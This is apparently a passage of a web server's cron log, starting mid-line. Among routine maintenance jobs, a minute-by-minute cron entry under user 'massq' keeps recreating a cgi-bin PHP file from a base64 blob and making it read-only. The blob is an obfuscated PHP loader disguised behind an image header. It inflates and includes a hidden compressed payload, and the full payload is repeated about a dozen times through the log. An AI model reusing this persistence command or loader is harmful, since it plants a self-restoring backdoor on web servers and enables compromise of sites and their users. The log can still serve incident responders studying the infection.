"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:50:01 server CROND[27223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:51:01 server CROND[28099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:51:01 server CROND[28100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:51:01 server CROND[28101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:52:01 server CROND[28494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:52:01 server CROND[28495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:52:01 server CROND[28496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:53:01 server CROND[28974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:53:01 server CROND[28975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:53:01 server CROND[28977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:54:01 server CROND[29349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:54:01 server CROND[29351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:54:01 server CROND[29350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:55:01 server CROND[29732]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:55:01 server CROND[29733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:55:01 server CROND[29736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:55:01 server CROND[29738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:55:01 server CROND[29741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:55:01 server CROND[29737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:55:01 server CROND[29739]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:56:01 server CROND[30564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:56:01 server CROND[30563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:56:01 server CROND[30565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:57:01 server CROND[31093]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 02:57:01 server CROND[31094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:57:01 server CROND[31095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:57:01 server CROND[31096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:58:01 server CROND[31574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:58:01 server CROND[31575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:58:01 server CROND[31576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:59:01 server CROND[31963]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  5 02:59:01 server CROND[31964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:59:01 server CROND[31966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:59:01 server CROND[31965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:00:01 server CROND[32382]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:00:01 server CROND[32392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:00:01 server CROND[32398]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 03:00:01 server CROND[32405]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:00:01 server CROND[32408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:00:01 server CROND[32414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:00:01 server CROND[32413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:00:01 server CROND[32420]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:00:01 server CROND[32411]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:01:01 server CROND[822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:01:01 server CROND[823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:01:01 server CROND[824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:01:01 server CROND[825]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 03:01:01 server run-parts(/etc/cron.hourly)[825]: starting 0anacron
Sep  5 03:01:01 server anacron[845]: Anacron started on 2026-09-05
Sep  5 03:01:01 server run-parts(/etc/cron.hourly)[847]: finished 0anacron
Sep  5 03:01:01 server anacron[845]: Will run job `cron.daily' in 21 min.
Sep  5 03:01:01 server anacron[845]: Jobs will be executed sequentially
Sep  5 03:02:01 server CROND[1313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
